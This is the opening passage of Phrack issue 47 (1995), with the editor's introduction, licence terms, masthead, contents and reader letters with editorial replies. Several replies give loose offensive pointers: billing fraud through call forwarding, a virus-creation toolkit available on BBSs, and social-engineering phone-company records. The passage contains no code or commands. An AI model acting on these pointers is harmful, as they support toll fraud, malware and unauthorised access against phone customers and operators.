This issue is late, so is my tax return, but I have a lot of excuses for
both.
Lots of things have happened since last issue. I've been hassled by the
police for publishing Phrack. I've been to the Pyramids at Giza and
the tombs in the Valley of the Kings. I've been to London several times
and met spies from MI5 and GCHQ. I watched almost everyone I know get busted.
I went to check out NORAD and then skiied Breckenridge. And I quit my job
at Dell Computers after almost 3 years.
Unemployment is great. One of the best things about it is sleeping till noon.
On the other hand, one of the worst things about it is that you sleep until
noon. It's been interesting anyway. I've been doing a lot of reading: price
evaluation of the forensic chemistry section of the Sigma Chemicals catalog,
the rantings of Hunter S. Thompson, the amazing cosmetic similarities between
International Design Magazine and Wired, Victor Ostrovsky's Mossad books, every
UNIX book ever written, every book on satellite communications ever written,
and hundreds of magazines ranging from Film Threat to Sys Admin to Monitoring
Times to Seventeen. Lord knows what I'll do with this newfound wealth of
information.
Anyway, amongst all this, I've been trying to get things organized for
Summercon this June 2,3,4 in Atlanta Georgia. One of the other factors in
the delay of Phrack was the hotel contract, so I could include full conference
details in this issue. By the way, you are all invited.
Wait a minute, someone said something about busts? Yes. There were busts.
Lots of them. Raids upon raids upon raids. Some local, some federal. Some
Justice, some Treasury. You probably haven't read of any of these raids,
nor will you, but they happened. It has always been my policy not to
report on any busts that have not gained media coverage elsewhere, so
I'm not going to go into any details. Just rest somewhat assured that
if you haven't been raided by now, then you probably won't be. (At least
not due to these particular investigations.)
People, if we all just followed one simple rule none of us would ever
have any problems: DO NOT HACK ANYTHING IN YOUR OWN COUNTRY. If you are
German, don't hack Germany! If you are Danish, don't hack Denmark! If you
are Australian, don't hack Australia! IF YOU ARE AMERICAN, DON'T HACK
AMERICA!
The last controversy surrounding this issue came at the last possible
second. In the several years that I've been publishing Phrack, we've
revieved all kinds of files, but remarkably, I've never really recieved
any "anarchy" files. However, in the last several months I've been inundated
with files about making bombs. There were so many coming in, that I really
couldn't ignore them. Some of them were pretty damn good too. So I figured,
I'll put several of them together and put in ONE anarchy file as a kind of
tongue-in-cheek look at the kind of stupidity we have floating around
in the underground.
Then the bomb went off in Oklahoma City.
Then Unabomb struck again.
Then the politicos of the world started spouting off about giving the
federal law enforcement types carte blanche to surveil and detain people
who do things that they don't like, especially with regards to terrorist
like activites.
Normally, I don't really give a damn about possible reprocussions of my
writing, but given the political climate of the day, I decided that
it would really be stupid for me to print these files. I mean,
one was REAL good, and obviously written by someone who learned "British"
English in a non English-speaking country. I mentioned my concerns to
an individual who works with the FBI's counter-terrorism group, and was
told that printing the file would probably be the stupidest thing I could
possibly do in my entire life...PERIOD.
So the file is nixed. I really feel like I'm betraying myself and my
readership, for giving into the underlying political climate of the day, and
falling prey to a kind of prior-restraint, but I really don't need the grief.
I'm on enough lists as it is, so I really don't need to be the focus of
some multi-jurisdictional task-force on terrorism because I published
a file on how to make a pipe bomb over the Internet. (Hell, I'm now even
on the Customs Department's list of ne'er-do-wells since someone from Europe
thought it would be funny to send me some kind of bestiality magazine
which was siezed. Thanks a lot, asshole, whoever you are.) Obviously, the
media think the net is some kind of hotbed for bomb-making info, so I'm
usually the first to satisfy their most warped yellow-journalistic
fantasies, but not this time.
I really hate what I see coming because of the mess in Oklahoma. If
the American government does what I suspect, we will be seeing
a major conservative backlash, a resurgence of Hoover-esque power in the
FBI, constitutional amendments to limit free speech, and a bad time
for everyone, especially known-dissenters and suspicious folk like
yours truly. Be very afraid. I am.
But anyway, enough of my rambling, here is Issue 47.
Corporate/Institutional/Government: If you are a business,
institution or government agency, or otherwise employed by,
contracted to or providing any consultation relating to computers,
telecommunications or security of any kind to such an entity, this
information pertains to you.
You are instructed to read this agreement and comply with its
terms and immediately destroy any copies of this publication
existing in your possession (electronic or otherwise) until
such a time as you have fulfilled your registration requirements.
A form to request registration agreements is provided
at the end of this file. Cost is $100.00 US per user for
subscription registration. Cost of multi-user licenses will be
negotiated on a site-by-site basis.
Individual User: If you are an individual end user whose use
is not on behalf of a business, organization or government
agency, you may read and possess copies of Phrack Magazine
free of charge. You may also distribute this magazine freely
to any other such hobbyist or computer service provided for
similar hobbyists. If you are unsure of your qualifications
as an individual user, please contact us as we do not wish to
withhold Phrack from anyone whose occupations are not in conflict
with our readership.
Notice to users ("Company"): READ THE FOLLOWING LEGAL
AGREEMENT. Company's use and/or possession of this Magazine is
conditioned upon compliance by company with the terms of this
agreement. Any continued use or possession of this Magazine is
conditioned upon payment by company of the negotiated fee
specified in a letter of confirmation from Phrack Magazine.
This magazine may not be distributed by Company to any
outside corporation, organization or government agency. This
agreement authorizes Company to use and possess the number of copies
described in the confirmation letter from Phrack Magazine and for which
Company has paid Phrack Magazine the negotiated agreement fee. If
the confirmation letter from Phrack Magazine indicates that Company's
agreement is "Corporate-Wide", this agreement will be deemed to cover
copies duplicated and distributed by Company for use by any additional
employees of Company during the Term, at no additional charge. This
agreement will remain in effect for one year from the date of the
confirmation letter from Phrack Magazine authorizing such continued use
or such other period as is stated in the confirmation letter (the "Term").
If Company does not obtain a confirmation letter and pay the applicable
agreement fee, Company is in violation of applicable US Copyright laws.
This Magazine is protected by United States copyright laws and
international treaty provisions. Company acknowledges that no title to
the intellectual property in the Magazine is transferred to Company.
Company further acknowledges that full ownership rights to the Magazine
will remain the exclusive property of Phrack Magazine and Company will
not acquire any rights to the Magazine except as expressly set
forth in this agreement. Company agrees that any copies of the
Magazine made by Company will contain the same proprietary
notices which appear in this document.
In the event of invalidity of any provision of this agreement,
the parties agree that such invalidity shall not affect the validity
of the remaining portions of this agreement.
In no event shall Phrack Magazine be liable for consequential, incidental
or indirect damages of any kind arising out of the delivery, performance or
use of the information contained within the copy of this magazine, even
if Phrack Magazine has been advised of the possibility of such damages.
In no event will Phrack Magazine's liability for any claim, whether in
contract, tort, or any other theory of liability, exceed the agreement fee
paid by Company.
This Agreement will be governed by the laws of the State of Texas
as they are applied to agreements to be entered into and to be performed
entirely within Texas. The United Nations Convention on Contracts for
the International Sale of Goods is specifically disclaimed.
This Agreement together with any Phrack Magazine
confirmation letter constitute the entire agreement between
Company and Phrack Magazine which supersedes any prior agreement,
including any prior agreement from Phrack Magazine, or understanding,
whether written or oral, relating to the subject matter of this
Agreement. The terms and conditions of this Agreement shall
apply to all orders submitted to Phrack Magazine and shall supersede any
different or additional terms on purchase orders from Company.
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
-----------------------------------------------------------------------------
Enjoy the magazine. It is for and by the hacking community. Period.
Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
3L33t : No One
News : Datastream Cowboy
Busted : Kevin Mitnick
Busty : Letha Weapons
Photography : The Man
New Subscribers : The Mafia
Prison Consultant : Co / Dec
James Bond : Pierce Brosnan
The Man With the
Golden Gums : Corrupt
Good Single/Bad Album : Traci Lords
Thanks To : Voyager, Grayareas, Count Zero, Loq, J. Barr,
Onkel Ditmeyer, Treason, Armitage, Substance,
David @ American Hacker/Scrambling News Magazine,
Dr. B0B, Xxxx Xxxxxxxx
Special Thanks To : Everyone for being patient
Kiss My Ass Goodbye : Dell Computer Corporation
Phrack Magazine V. 6, #47, April, 15 1995. ISSN 1068-1035
Contents Copyright (C) 1995 Phrack Magazine, all rights reserved.
Nothing may be reproduced in whole or in part without written
permission of the Editor-In-Chief. Phrack Magazine is made available
quarterly to the amateur computer hobbyist free of charge. Any
corporate, government, legal, or otherwise commercial usage or
possession (electronic or otherwise) is strictly prohibited without
prior registration, and is in violation of applicable US Copyright laws.
To subscribe, send email to phrack@well.sf.ca.us and ask to be added to
the list.
phrack@well.sf.ca.us (Phrack E-mail Address)
or phrackmag on America Online
Submissions to the above email address may be encrypted
with the following key : (Not that we use PGP or encourage its
use or anything. Heavens no. That would be politically-incorrect.
Maybe someone else is decrypting our mail for us on another machine
that isn't used for Phrack publication. Yeah, that's it. :) )
** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **
Phrack goes out plaintext...you certainly can subscribe in plaintext.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAizMHvgAAAEEAJuIW5snS6e567/34+nkSA9cn2BHFIJLfBm3m0EYHFLB0wEP
Y/CIJ5NfcP00R+7AteFgFIhu9NrKNJtrq0ZMAOmiqUWkSzSRLpwecFso8QvBB+yk
Dk9BF57GftqM5zesJHqO9hjUlVlnRqYFT49vcMFTvT7krR9Gj6R4oxgb1CldAAUR
tBRwaHJhY2tAd2VsbC5zZi5jYS51cw==
=evjv
-----END PGP PUBLIC KEY BLOCK-----
-= Phrack 47 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by The Editor 16 K
2. Phrack Loopback / Editorial 52 K
3. Line Noise 59 K
4. Line Noise 65 K
5. The #hack FAQ (Part 1) by Voyager 39 K
6. The #hack FAQ (Part 2) by Voyager 38 K
7. The #hack FAQ (Part 3) by Voyager 51 K
8. The #hack FAQ (Part 4) by Voyager 47 K
9. DEFCon Information 28 K
10. HoHoCon by Netta Gilboa 30 K
11. HoHoCon by Count Zero 33 K
12. HoHo Miscellany by Various Sources 33 K
13. An Overview of Prepaid Calling Cards by Treason 29 K
14. The Glenayre GL3000 Paging and Voice Retrieval System by Armitage 25 K
15. Complete Guide to Hacking Meridian Voice Mail by Substance 10 K
16. DBS Primer from American Hacker Magazine 45 K
17. Your New Windows Background (Part 1) by The Man 39 K
18. Your New Windows Background (Part 2) by The Man 46 K
19. A Guide To British Telecom's Caller ID Service by Dr. B0B 31 K
20. A Day in The Life of a Warez Broker by Xxxx Xxxxxxxx 13 K
21. International Scenes by Various Sources 39 K
22. Phrack World News by Datastream Cowboy 38 K
"Raving changed my life. I've learned how to release my energy blockages.
I've been up for forty-eight hours!"
John Draper (Capn' Crunch) in High Times, February 1995
"You never know, out in California, all them Cuckoo-heads."
Brad Pitt as Early in "Kalifornia"
"On the Internet you can have the experience of being jostled by a
urine-smelling bum."
Bill Maher - Politically Incorrect
You dont know who i am, and i appreciated that but i hope your read my little
note here and take it into consideration.
Ive been into the Australian Hacking Scene (if there is such a thing :-)
for only about 2years, but recenlty opened a h/p bbs here in Australia.
What i am writing and asking is if it is possilbe to place kinda an add of
some description in the next issue of phrack, something to the lines of:-
H/P bbs recently opened in Australia - JeSteRs BBS +61-7-ASK-AROUND
If your looking for some form of donation $$ just let me know, if your
wondering is his guy a fed or something, mail DATA KING and speak to him, he
was one of the bbs first users and as you know he has written in the Int
Scene for the last too issues, but wont be in Issue #47 or i would have asked
him to place the advertisment in this report.
Regards, Jesta
[Cool! Nice to see there's BBSs still popping up overseas. It would be
nice if I had the number...hell, I'd even call... but oh well,
I suppose I (and all the Phrack readers) will just have to "ASK-AROUND"]
Last week you said you'd accept a bbs ad .. well here it is.
If you'd publish it in phrack i'd be most grateful!
A Gnu BBS!
1000's h/p Related texts
Phrack, CoTNo, B0W, cDc, NiA, CuD, Risks,Sphear,SCAM!,NeuroCactus
Conferences covering Unix/VMS/System Security/Phreaking
And absolutely no mention of "The Information Super Highway" anywhere!
+617-855-2923
ATTN: ALL COMPUTER WHIZ KIDZ..... I DESPARATELY NEED YOUR HELP!!!
Retired R.C.M.P officer formerly involved with priority levels of
electronic surveillance has informed me that my residential telephone
appears to have been compromised at a point other than inside or
immediately outside my residence.
After an intensive evaluation of the premises his conclusion was that
remote manipulation of the telephone company switch where my circuit
could be victim was the problem.
The main focus of this exercise is to show how one can infiltrate a
telephone company's network; remotely manipulate the company's switch;
process long distance calling;make it appear that the calls originated
from a particular site and then "fooling" the company's billing
mechanisms to invoice that particular location.
Is this physically possible? Bell Canada categorically denies this
possibility. I need proof! How is it done?
Please advise as soon as possible.
I'd sincerely appreciate any help, advise and/or information anyone out
there can offer in this particular situation.
Please leave a way to get in touch! If you prefer to remain unknown,
thanks a million, and rest assured that I WILL RESPECT and PROTECT you
anonimity.
Regards,
John P. Marinelli jmarinel@freenet.niagara.com
[My take on this is that with relative ease, someone could establish
call forwarding on a line, make it active to some remote location, and
call the original number numerous times, causing the owner of the
hacked line to be billed for all the calls to the forwarded location.
If anyone knows how to do this, STEP BY STEP on a DMS-100, please,
contact Mr. Marinelli to help him out with his court case. I don't
know a whole lot about NT equipment, so I don't know the
specifics of how this may have happened, only the generalities.
Wouldn't it be nice to have the Underground "HELP" someone out
for a change?]
y0, Black Flag here... heres the info you told me to mail you about the
GRaP/H (Gainesville Regional Association of Phreakers and Hackers) meetingz
Gainesville, FL
1st + 3rd Saturday of the month, 4pm - ???
meet in The Loop on 13th Street
Black Flag will be casually carrying a 2600
look around, you'll see him.
[Well, looks like the Florida Hackers have a new place to congregate.
And so do the Florida FBI Field Offices. :) ]
I was wondering where I could find any virus authoring tools for the PC,
Unix, or VMS.
[You can find Nowhere Man's Virus Creation ToolKit on BBSs around the
globe. Have you looked??? I've never heard of UNIX or VMS virus tools.
Do you know something I don't? Do you know how a virus works? ]
Chris, found something you might like. Here's an ad from the latest
PHOENIX SYSTEMS catalog:
THE CALLER ID BLOCKER FIRST TIME AVAILABLE IN THE U.S.
By April, 1995 all telephone companies must deliver callers name and
telephone number to the caller ID system. The law prohibits any telephone
company from offering customers an option to permanently disable their line
from the ID system.
This means that even if you have an unlisted number, everyone you call will
now have your telephone number and name. Big brother is now one watching,
now he has your name and number. No more anonymous calls to the IRS, city
hall, real estate agents, car dealers, health department or anyone. Many
business professionals use their home telephone to return calls. Do you
want your patients and clients to have access to your home telephone number?
We are proud to bring you the unique ANONYMOUS 100. It installs on any
telephone in seconds and completely KILLS THE EFFECTS OF "CALLER ID"! Yes,
you can have your privacy back. The ANONYMOUS 100 is FCC approved and
carries a one year guarantee.
Is it just me, or is this a load of bullshit? Didn't CA and TX both pass
laws to make CLID illegal in those states? I know that before MA would
allow it in the state, they told the telco that line blocking had to be
offered free (and it is, on per/call and permanent basis). Did the feds
pass this new law while I was sleeping, or is this company just playing on
paranoia (not the first time) and trying to make a buck?
Eric
[Well Eric, it looks to me that this is a nifty little box that waits for
voltage drop and immediately dials *67 before giving you a dialtone.
Woo Woo! $69.95! It certainly is worth that to me to not have to dial
3 digits before I make a call. All that wear and tear ruins the
fingers for typing. PFFFT....
About Caller-ID, well, it's legal just about every place I know of.
I'm sure there are a feel hold-outs, but offering per-line blocking for
individuals worried about privacy satisfied most Public Utility
Commissions. In fact, I think April 1 was the date that all Interconnects
were supposed to be upgraded to support the transfer of CLID information
over long distance calls. I don't think this has been turned on everywhere,
but the software is supposed to be in place.
(these response/comments are in referance to Phrack Issue 46 - Sept 20 1994)
A)
A question was brought up concerning a Moterola Flip Phone and the user
inability to gain access to the programing documentation. I happen to
own (legally) a Motorola Flip Phone that I will assume to be the same and
I was not given the documentation either, though I have not tried asking
for it. I will call Motorola and ask for *my* rightful copy and foreward
my results (if I gain access) to phrack for proper distribution amoung
appropriate channels. If I do not gain access, I would appriciate to
hear from anyone who has (this should not be limited to simply the M.
Flip Phone, I have interests in all areas).
B)
Later in that issue (Sept 20, 1994) a list of university and colege
dialups were provided... I live in the 218/701 (right on the border) and
have a collection of them for addition to the list if you (or anyone
else) should so desire. I would post them now, but I have limited time
and have to dig to find them. I also have some numbers that some readers
may find of interest.
C)
My living in the 218/701 is the main reason for my writting. I used to
live 612 and knew a lot of people in the area, but now I am stuck here in
a little shit town (pop. 7000) where the cloest thing to a computer is
made by John Deere. I need to find someone in the 218 or 701 to work
with or meet... if you know anyone...??? The closest BBS is long
distance and even then it's crap... I would like to start my own, but who
the fuck would call? Who the fuck would I invite? My old H/P friends in
612 would, but I don't need the heat as they would all go through 950's
or some other method... I think you understand.
any help would be greatly appreciated By the way I could also use some
218/701 ANAC or CN/A... any help here?
Aesop
[In order:
a) Good luck with Moto. You'll need it.
b) Yes, I really still need your university dialups. Issue 48 will
have a much more complete list (I hope!)
c) If anyone knows any bbs'es in those area codes, please send
them in so I can pass along the info.
Other) For CNA information, just call your business office. They ALWAYS
help. Especially if you mention that CNA didn't have a current
record. :) ]
To whom it may concern at phrack, I would like to subscribe to Phrack. I
didn't use PGP because :-
i. I never had any real need to
ii. I came across the document below while dinking around with gopher. I
would pretty much guess phrack knows about it already. If you do know about
it, could you tell me another way to ensure my mail privacy?
This section is from the document '/email-lists/Funny'.
A lot of people think that PGP encryption is unbreakable and that the
NSA/FBI/CIA/MJ12 cannot read their mail. This is wrong, and it can be a
deadly mistake. In Idaho, a left-wing activist by the name of Craig Steingold
was arrested _one day_ before he and others wee to stage a protest at
government buildings; the police had a copy of a message sent by Steingold
to another activist, a message which had been encrypted with PGP and sent
through E-mail.
Since version 2.1, PGP ("Pretty Good Privacy") has been rigged to
allow the NSA to easily break encoded messages. Early in 1992, the author,
Paul Zimmerman, was arrested by Government agents. He was told that he
would be set up for trafficking narcotics unless he complied. The Government
agency's demands were simple: He was to put a virtually undetectable
trapdoor, designed by the NSA, into all future releases of PGP, and to
tell no-one.
After reading this, you may think of using an earlier version of
PGP. However, any version found on an FTP site or bulletin board has been
doctored. Only use copies acquired before 1992, and do NOT use a recent
compiler to compile them. Virtually ALL popular compilers have been
modified to insert the trapdoor (consisting of a few trivial changes) into
any version of PGP prior to 2.1. Members of the boards of Novell, Microsoft,
Borland, AT&T and other companies were persuaded into giving the order for
the modification (each ot these companies' boards contains at least one
Trilateral Commission member or Bilderberg Committee attendant).
It took the agency more to modify GNU C, but eventually they did it.
The Free Software Foundation was threatened with "an IRS investigation",
in other words, with being forced out of business, unless they complied. The
result is that all versions of GCC on the FTP sites and all versions above
2.2.3, contain code to modify PGP and insert the trapdoor. Recompiling GCC
with itself will not help; the code is inserted by the compiler into
itself. Recompiling with another compiler may help, as long as the compiler
is older than from 1992.
[Well, uh, gee, I think the fact that this document came from
/email-lists/Funny speaks for itself. I'm satisfied with PGP
for security, but then again, I don't have a lot of information that
I'm so petrified that I need to keep it encrypted, or that I send
out in email that I don't care if anyone sees.
To put aside some of your fears, I personally feel that PGP is ok.
If the trilateral commission wants your info, they will beat it out
of you with sticks, with the help of several multi-jurisdictional
task-forces for Federal law enforcement, while you are under the influence
of incredibly terrifying and long-lasting hallucinogenic drugs.
THe BBS has a good selction of "Hood" files... (hacking/phreaking/anarchy)
journals such as cDc, Phrack, ATI and more... also a good selection of
BBS files which include Doors and Utilities... primarily RA accessories,
but not exclusively... supports rip graphics and is online 24 hrs a day
[Editor's Note: I got a letter asking me about how to credit card
merchandise. I replied that I didn't agree with carding, and that
if the reader really wanted something, he/she should get a job and buy it.
This is the response I got.]
What the fuck? All I wanted was a fucking decent reply. Get a job, huh?
You know, I thought if you were to talk to one of these supposed
"computer hackers" you could get some usefull information. Get a job, that
rich coming from someone like you.
When there's something you want...take it...without using your money.
Maybe sometime I'll be able to takl to a hacker not some fucking
hypocritical computer geek
[Editor's Note: I replied to this letter by stating that carding had nothing
to do with hacking, that it was out and out stealing, and although
we had published articles about it in Phrack, I wasn't going to help anyone
do it, and that he/she should try to contact the authors of various
carding articles directly. This is the response that got.]
Come on now "Chris", you can do better than that, can't you?
Stealing? Who's the thief here, eh? See, when I wake up in the morning,
I don't have to worry about secret service, police, or any sort
of military shit being in my apartment. I don't get busted for doing stupid
things like stealing phone calls off fucking 900 numbers. I think I
know exactly why you don't card anything - because you're too fucking stupid
or don't even have the balls to do it. Fuck, you'd expect someone like
yourself to have different views about being a thief. Well, I guess it
takes a certain kind of person to hack into shit like you, but why this
person would start flame wars and otherwise just be a total fuckup, I don't
know. Or, maybe it's just the singular person I'm talking too, yeah, that's
probably i...there probably are other, BETTER, hackers who aren't as
fucking arrogant as you.
Well, have fun with your hands and PLAYGIRL's, you fucking little punk-ass
faggot.
And tell your mother that I won't let this affect our relationship.
Punk
aj276@freenet3.carleton.ca
[This is the future of the computer underground??]
System is called CyberSphincter (playing off of the current word trend of
cyber). The number is 717-788-7435. The NUP is 0-DAY-WAR3Z!!!
Modem speeds of 14.4 and lower, with no ANSI. Sysop is Ha Ha Ha.
It's running renegade (we know it can be hacked and I've done it already),
but we seem to believe in honor among thieves, so try to control yourself on
that.
I'm the remote sysop at the Digital Fallou BBS in 516. Just recently,
we've been getting a rash of ld callers. A day or two ago, a guy with
the handle "Digi-Hacker" applied. His application looked good, execpt that
he stated his alter handle was "Eric Bloodaxe" and that he was the editor
of Phrack. Now, any lame ass could just "say" that, and we don't want any
liars on board. :) So we decided to go right to you thru email. Did you
apply? If so, cool. If this isn't you, that guy is gonna most assuredly
be deleted..
[Well, I hate to say it, but I don't have time to do much of anything
anymore. I certainly don't call bbses with any regularity. I
do have accounts on SECTEC and UPT, but that's it. I may call some
in the future, but for the most part I don't have any time. If someone
calls up a bulletin board and applies as "Erik Bloodaxe" it isn't me.
(Anyone saying they are Eric Bloodaxe MOST CERTAINLY isn't me. :) )
Anyone running BBSes may want to take note of this, so they don't get
swindled into giving "elite" access to some pretender. You can
always email phrack@well.com and ask me if I have applied to your
bbs. ]
I know you don't know me, but I figured you of all people could help me,
and give me an answer quickly.
I just got my phone bill, and on the last page is a page from some
company calling themselves Long Distance Billing Co., Inc. It has
one call "Billed on behalf of Northstar Communication" It is a call from
somewhere in FL, for 13 minutes, costing 51.87. I called LD Inc, and they
said the call was a collect call made from Northstar Comm, and that
my only recourse was to write a letter to Northstar. Needless to say, I
did not accept the collect call, I don't know anyone in 813. I called
NYNEX, and they said I should write to Northstar and LD INC, but didn't
seem to know anything about either company. They guy I talked to said it
was real strange that LD INC didn't give me a number to call at
Northstar, since most of this type of thing is handled by phone. I'm
beginning to wonder exactly how relieable this LD INC company is, who
Northstar is, and most of all who called and how the hell the call was
supposedly accepted by my phone. This is all the info I know:
Northstar Communication
3665 East Bay Drive
Suite 204-192
Largo, FL 34641
--From LD INC
Long Distance Billing Co., Inc.
1-800-748-4309
--From NYNE phone bill.
If you can think of anything I can do, I;d be really greatful. I don't
have $50 to throw away on a call I never got, and I don't have the
resources you do to try and figure out who the hell these people are.
[It looks to me like you got fucked by someone in Florida using a COCOT
payphone. It's kind of odd that NYNEX couldn't help you more...but anyway,
I wouldn't pay it.
What I suspect happened was that somsone used one of those handy COCOT
services where the operators are incredibly stupid and allow calls
to be accepted when the "calling party" says "YES" to allow a 3rd party or
collect call, rather than the party being called. This happened to me at
my previous work extension by New Yorkers using the ENCORE service (even
though all our lines were listed to refuse 3rd party and collect calls.)]
I've been having some trouble with the law, so all my notes are stashed at
a friend's casa at the moment. Can you recommend a good lawyer to defend me
for allegedly hacking some government computers? I've got a good crim def
guy working with me right now assisting me guring questioning from Special
Agents, but I will need someone that has experience if I get indicted.
[If you are facing computer crime charges, you are definately in
a world of hurt. There are very few computer crime-savvy lawyers
practicing in the World. The only thing I can suggest is that
you call EFF, CPSR or EPIC and ask them if they know of any
lawyers in your area that they can refer you to. None of these
groups will help you directly, except under EXTREME circumstances, and
only if you have been falsely accused, or have had rights violated.
If you are guilty, and the cops have any evidence, you are going to be
convicted.
Remember Baretta? "If you can't do the time, then don't do the crime."]
You probably don't remember me, but we corresponded about 3 years
ago as part of my PhD research. I was at Edinburgh University
at the time and am not at UMIST in Manchester (British equivalent of MIT).
The reson I'm writing is that I was awarded my PhD last March, and for one
reason and another I've been sidetracked into a completely different field
of research - the British National Health Service and the various ways
computers are being used in it.
I tried getting a publisher interested in the thesis, but with little luck.
I also sent it to Jim and Gordon at CuD on disk for them to stick it on
archive, but they had problems with the formatting of it and don't seem to
have got round to archiving i.
If you're interested I'd be quite happy to send a couple of disks to you
and you can spread it around as you want. It just seems a shame for the people
on the net not to get a look at it. It's dressed up in airy-fairy sociological
language - but there's still lots in it that I think would be of interest to
people on the net. I saw your interview in CuD, and I agree with you about
most of the books written on the CU. Mine has its faults but it's got less
biographical data and more issue-oriented stuff.
Anyway, get in touch and let me know if I can find a good home for my magnum
opus.
Take care and a belated thanks for all the time you spent in helping me with
the PhD.
Best Wishes,
Paul Taylor
School of Management
UMIST
[Paul:
Congrats on your PHD, and continued success at UMIST!
I'm putting your thesis up on the Phrack WWW page so that more
people can get a look at it!
I read your article on hacking the French among other foreign governments.
Sounds pretty fun, just for kicks the other night I did a search of all the
computers I could get at in China. One of them was a national power grid
computer. Sounds like it could be fun to play with huh? The "They Might Kill
Us" part will tend to turn some people off, but not me.
[WOW! A National Power Grid Computer! In China! Gee. How many times
have you seen Sneakers? Take the tape out of your VCR, slowly run
a rare-earth magnet over it and set it on fire.
On the other hand, if you were at least partally serious about the
hacking for America, keep your eyes open.]
Regarding your article in Phrack 46, we here in Columbus would
just like to say that everything except for the Krack Baby's phone number,
which long since went down, and the Free Net template, is total and utter
bullshit. The Columbus 2600 meetings were NOT started by Fungal Mutoid, he
is just responsible for a much larger turnout since about September (94), and
whoever wrote that has obviously not been to a Columbus meeting recently.
The Columbus 2600's have been here for quite a while, but bacause the H/P
scene consists of 15 people AT THE MOST, many of which haven't the time to
attend, the turnout is almost always low. I believe the most that have ever
shown up to a meeting is 10, which dwindled to 8 or so before the
meeting was officially half-over. Nobody knows who wrote the article which
you printed, although no one has been able to contact Fungal Mutoid to ask him.
Just thought we'd clear a few things up, and to those that don't give two
flying shits, we're sorry to have to bring this into a E-mag as great as
this.
Sincerely,
H.P. Hovercraft and
the Columbus H/P Gang
[Thanks for the letter. Like I always say, I can only report and print what
I'm told or what is sent to me. I don't live anywhere but Austin, TX, so
I don't know the intimacies of other areas. Thanks for sending in your
comments though!]
Dear Editor of Phrack Magazine;
Ok Erik (mr. editor), there is also a poem that I have written for Wei.
"Thinking of Ding Wei"
(C) 1994, 1995 Oliver Richman.
Come here, let me tell you something,
How I hide my love for Wei Ding:
By forgetting all my thinking!
When in my mind Wei's heart I see..
I want to tell her "wo ai ni",
So her and I will always be.
Her mind is pure, like pretty Jade..
She makes me want to give her aid.
I know that her love will not fade.
My patience tries to move the sea.
But can I deny you and me?
I want our hearts to set us free.
I really love you, dear Ding Wei,
I think about you every day.
Tell me, what more can I say?
[What's this? Another Poem? A tribute of Love for some chick named Wei?
Holy Lord. We need to get some codes or credit cards or something in here
to offset this burst of "Heartfelt Emotive Print." ]
As a former AOLite and definite wannabe, and having d/l the log of
the Rushkoff/Sirius hypechat, I could tell from the beginning that it
would be just as you reviewed _Cyberia_ as being. Every other word
Rushkoff used was Cyberia or Cyberians. As lueless and vulnerable to hype
as I was, I couldn't help but stand back and listen to all the shit with a
grin. In the same not, I ran into David Brin on AOL as well, and managed
to get a correspondence goig with him. He was on discussing all the
research he did on the "Net" and about the papers he was delivering, and,
most importantly (of course), his upcoming BOOK about the Internet and
privacy. At the time, still under the glossy spell of Wired (which I still
find interesting) and the hype, I was eager to offer him an interview
proposal, which I would have published in Wired if at all possible.
Dr. Brin knew less than *I* did about the Internet. I can sum up most of
these people's vocabularies in one word: "BLAH." They may as well
reiterate that syllable ad infinitum--it amounts to the same thing.
[WOW!
Hey Cyber-guy, thanks for the super-cyber email. As we cruise along this
InfoBanh, exiting in Cyberia, it takes a diligent cyberian like you
to keep things in check!
Sorry bout that. I was overcome with a minor brain malfunction that
reduced my IQ to that of Douglas Rushkoff. Doesn't it all make you want
to puke?
I heard that yesterday on the soap opera "Loving" some character was hacking
into food companies to steal recipes. A month or so back, on "All My
Children" (The only soap I watch...but I'm embarrassed to say I watch it
religiously), Charlie & Cecily were dorking around on the Internet, and
sent each other email after reading notes they each left on alt.personals.
yo dewd. eye am so paranoid, my t33th are rattling.
what dewd eye dew?
yew are the god of the internet.
how dew eye stop the paranoia?
please print answer in next phrack.
thanx.
m0fo
[Your Acid will wear off in a few hours. Don't worry. Enjoy it.
The CIA does.
If it doesn't go away in a few days, there are some nice men in
white lab coats who will be glad to help you out.
How do you stop the paranoia? Your answer: Thorazine!]
This is Nemo Kowalski speaking (aka Paolo Bevilacqua).
I just discovered Phrack at the young age of 31. ;-)
Well, I like it a lot, at least like I enjoyed doing real
things here in Europe, alone and with DTE222, years ago.
I'm going to write something about the first anti-hacker operation
in Italy, "Hacker Hunter," in which, incidentally, I got busted.
Do you think your some of the old stories from altger and Itapac
can be of interest to your readers?
To Robert Clark:
I read "My Bust" and I liked it. I'm not a native english speaker,
but I think it was well-written, plus principally, I felt a pleasant
"reader sharing writer's experiences" sensation that can separate a good
reading from pure BS. This is expecially true since I've been busted here
in Italy, and I've learned that things are more similar around the
western world than I would have thought.
The only thing I can't share is your Seattle experience. Maybe the dichotomy
good druge/bad drugs has a different meaning for you?
Respect,
Nemo
[Nemo:
Please write as much or as little as you like about the busts in
Italy! We have an article this issue about Italy, but any further
insights into your experiences, esspecially regarding how busts
are carried out in other countries would be greatly appreciated by
our readers!
I look forward to reading whatever you can put together!]
As a relative neophyte to hacking, one of the problems I come up with a
lot is identifying systems I locate scanning. So, I was wondering if Phrack,
or any other zine, had ever published a concise guide to clues to
help identify unknown systems. If so, could you please let me know what
mag, and what issue.
One last thing, are there any internet sites with info of interest to hackers?
I know about eff.org and freeside.com and a few others, but nothing really
intriguing...any suggestions?
[You will find a good start to identifying strange systems, and in
locating sites of interest to hackers in the #Hack FAQ we've printed
in this issue. ]
For Phrack news, Darkman was busted in Winnipeg City, Canada, for various
reasons, but since I knew him personally I wanted to add my two cents.
For the record, he was busted for warez and porn as well as hacking into the
UoManitoba, and I heard his wife left him because he spent too much time
pirating on IRC. He was about 38. He could read fluently in Russign, and
I remember one night we discovered some secret KGB documents from the 50's,
real science fiction thriller stuff, and he read it to me.
Akalabeth
[It's a drag that your friend was busted, and knowing the Canadian
government, the porn part was probably pretty minor shit in a worldly
sense.
I'm kinda intrugued by the "KGB Documents" you found. Uh, were these on
the net? Did you have a cyrillic character set loaded? How did you
read these documents? Were they on paper?
I just read your thing in Phrack abou the US being attacked by our so
called "allies" and I agree with you 110%! I do believe that we should start
some sort of CyberArmy to fight back. I don't think that our government
would mind, unless we crashed an economy that they were involved with or
something, but hell, they fuck with us, let's fuck with them. And you were
saying about phone costs, isn't it possible to just telnet or something over
